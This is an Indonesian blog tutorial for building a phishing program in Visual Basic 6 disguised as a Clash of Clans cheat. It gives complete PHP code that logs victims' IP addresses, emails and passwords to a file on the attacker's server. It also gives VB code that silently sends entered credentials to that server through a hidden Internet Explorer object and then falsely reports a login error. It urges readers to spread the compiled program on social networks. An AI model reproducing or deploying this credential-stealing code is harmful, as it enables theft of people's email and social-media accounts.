Cara Membuat Aplikasi Phising Dengan Vb 6.0

Mungkin teman-teman sekalian udah tahu apa itu phishing ? kali ini teknik phishing-nya kita Lakukan pada sebuah program desktop:D ( biasanya kan Lewat situs Hotsting :3





Sebelumnya baca dulu nih Kawan sebagai contoh-nya :


Ada sebuah program kita sebut saja cheat Clash Of Clans Di Android


program itu akan menyuruh anda untuk login ke Email menggunakan program tersebut,apabila ingin membuat cheatnya bekerja.


user yang tertipu akan login lewat program tersebut


di dalam program tersebut terdapat 2 buah textbox dan 1 buah command button.






2 textbox itu adalah penampung Email & Password yang akan di kirim ke server kita dan command buttonnya di gunakan untuk meng eksekusi code,setelah code di eksekusi program akan memanggil sebuah file .php yang telah di buat sebelumnya di server kita


file php yang telah di panggil tersebut bertindak mencatat ip korban pengirim,mencacat tanggal pemanggilan file php,dan mencatat Email & Password korban yang telah di masukan di 2 buah textbox yang ada di program tersebut lalu menyimpannya dalam sebuah file text.






Mengerti-kan dengan cara kerja program ini ?






Siapkan Dulu Alat-Alat Nya :






– Program Visual Basic 6.0


– Hostingan Free / Yang Berbayar


– Cemilan [ bila kalian lapar ]


– Doa [ biar berjalan lancar kita membuat program nya ]






Oke,langsung aja kita praktekkan










1. Nah Sekarang Buka Notepad Kalian all Progam > Accsesories > Notepad




Copy Kan Code Berikut Ke Notepad Kalian




” <?php

$datum=date(‘d-m-Y / h:i:s a’);

$email = $_GET[e];

$password = $_GET[p];

$ip = getenv (‘REMOTE_ADDR’);

$fl = fopen(‘Ihiy.txt’, ‘a’);

fwrite($fl, “IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n”);

fclose($fl);

$ref = $_SERVER[‘HTTP_REFERER’];

header(“location: $ref”);

?> ” ( tanpa kutip dua tentunya )




simpan kode tersebut dengan nama opxinside.php (cara simpannya : pilih file types -> all files )




Dan Buat Notepad Kosongan Simpan Dengan nama hasil.txt

Upload file opxinside.php dan hasil.txt Di WebHosting Kalian




Cara Upload Nya Cari Di Gogle Banyak




2. Buka Vb.Net nya




3. siapkan form dan module,





form diberi nama = frmUtama
module diberi nama = modConnect








form diberi nama = frmUtama


4. Masukan kode ini di modconnect ” Public Declare Sub Sleep Lib “kernel32”






Private Declare Function InternetGetConnectedState Lib “wininet.dll” (ByRef _


lpSFlags As Long, ByVal dwReserved As Long) As Long


Const INTERNET_CONNECTION_MODEM = 1


Const INTERNET_CONNECTION_LAN = 2


Const INTERNET_CONNECTION_PROXY = 4


Const INTERNET_CONNECTION_MODEM_BUSY = 8






‘Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState


Function CekInternet(Optional connectMode As Integer) As Boolean


Dim flags As Long


CekInternet = InternetGetConnectedState(flags, 0)


connectMode = flags


End Function ” tanpa kutip dua ya





5. di frmUtama masukan 2 textbox, 1 command button dan 1 label


textbox pertama diberinama : txtUname


textbox kedua diberinama : txtPass






command button diberi nama : cmdLogin


command button diberi caption : &Login






label diberi nama : LBLInfo






masukan kode ini kedalam form ” Private Sub Form_Load()


lblInfo.Caption = “Memeriksa Koneksi Internet”


If CekInternet = False Then


lblInfo.Caption = “Komputer Anda Tidak Terkoneksi Ke Internet !”


Else


lblInfo.Caption = “Komputer Anda Terkoneksi Dengan Internet”


Me.Caption = “Captionnya terserah kalian mau nama apa aja”


End If


End Sub






6. nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini


” Dim user, pass As String


Dim IE As Object


user = LCase(txtUname.Text)


pass = txtPass.Text






If txtUname.Text = “” Then


MsgBox “Kotak Teks masih kosong,silahkan isikan dengan benar !”, vbExclamation, “Error”


Else


lblInfo.Caption = “Sedang Login …”


Set IE = CreateObject(“InternetExplorer.Application”)






IE.Visible = 0


IE.Navigate “http://www.domainkamu.com/opxinside.php?e=&#8221; & _


user & “&p=” & pass






Do While IE.Busy


Sleep 200 ‘sleepnya 200 ajah :p






Loop


IE.Quit


Set IE = Nothing






lblInfo.Caption = “Username/Password Salah !”


MsgBox “Username/Password Salah !”, vbExclamation, “Error”


End If “






nah kalo sudah, pilih file -> make Project .exe


selesai deh, tinggal disebar aja, ini bisa buat kaskus, pesbuk, bahkan twitterpun bisa






Nah Cara Lihat Hasil Nya Tinggal cari di Kotak Pencaian






Contoh : https://domainkamu.com/hasil.txt






Nih Buatan Ane Sendiri DOWNLOAD






PASS : java-intelegent.blogspot.co.id






ortant;} /* End http://www.cursors-4u.com */